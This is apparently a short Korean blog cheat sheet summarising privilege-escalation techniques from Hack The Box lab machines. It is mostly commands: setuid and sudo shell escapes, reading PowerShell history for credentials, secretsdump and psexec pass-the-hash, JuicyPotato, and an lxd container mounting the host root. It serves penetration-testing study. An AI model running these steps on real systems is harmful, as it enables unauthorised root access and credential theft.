HTB privilege escalation 요약

Capuch1n
Pri_mates
Published in
3 min readSep 6, 2021
  • Packet capture를 위해 setuid 권한이 있을 때 (Cap)
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
  • 안드로이드 adb를 포트열어서 접근 (Explore)
ssh -L 5555:127.0.0.1:5555 kristi@explore.htb -p 2222
adb connect localhost:5555
adb shell
  • powershell history 파일을 사용 (Archetype)
type
C:\\Users\\sql_svc\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\Console
Host_history.txt
impacket [psexec.py](<http://psexec.py>) administrator@[IP]
  • group 이 가지고 있는 권한 확인
find / -type f -group [groupname] 2>dev/null
  • tty shell upgrade
SHELL=/bin/bash script -q /dev/null
  • root 권한을 가진 파일을 찾아서 vi로 권한상승
python3 -c "import pty;pty.spawn('/bin/bash')"
sudo -l
권한이 있는 파일 vi로 들어가서 !/bin/bash
  • Windows server 2016 일때, Rotten Potato 취약점이 있음
msf > lcd /home/username/Downloads
msf > upload JuicyPotato.exe
  • GetChangesAll 권한이 있을 때
secretsdump.py -dc-ip 10.10.10.30 [ADserver]/[PrivID]:[userid]@[ip]
psexec.py [ADserver]/administrator@10.10.10.30 -hashes <NTML hash>:<NTLM
hash>
  • lxd group에 속해있을 경우
git clone <https://github.com/saghul/lxd-alpine-builder.git>
cd lxd-alpine-builder
./build-alpine
python -m SimpleHTTPServer 8888lxc image import ./alpine-v3.10-x86_64-20191008_1227.tar.gz --alias rootimage
lxc init rootimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root
recursive=true
lxc start ignite
lxc exec ignite /bin/sh
  • Windows file 권한 확인
icacls [filename]
  • shadow backup 이용
/var/backups 탐색하여 hash 획득
  • 권한상승 가능한 파일이 있는 경우
sudo -l
sudo [filename][parameter] -exec /bin/bash \\;

--

--

Capuch1n
Pri_mates

Cyber Threat Intelligence, Cybersecurity enthusiast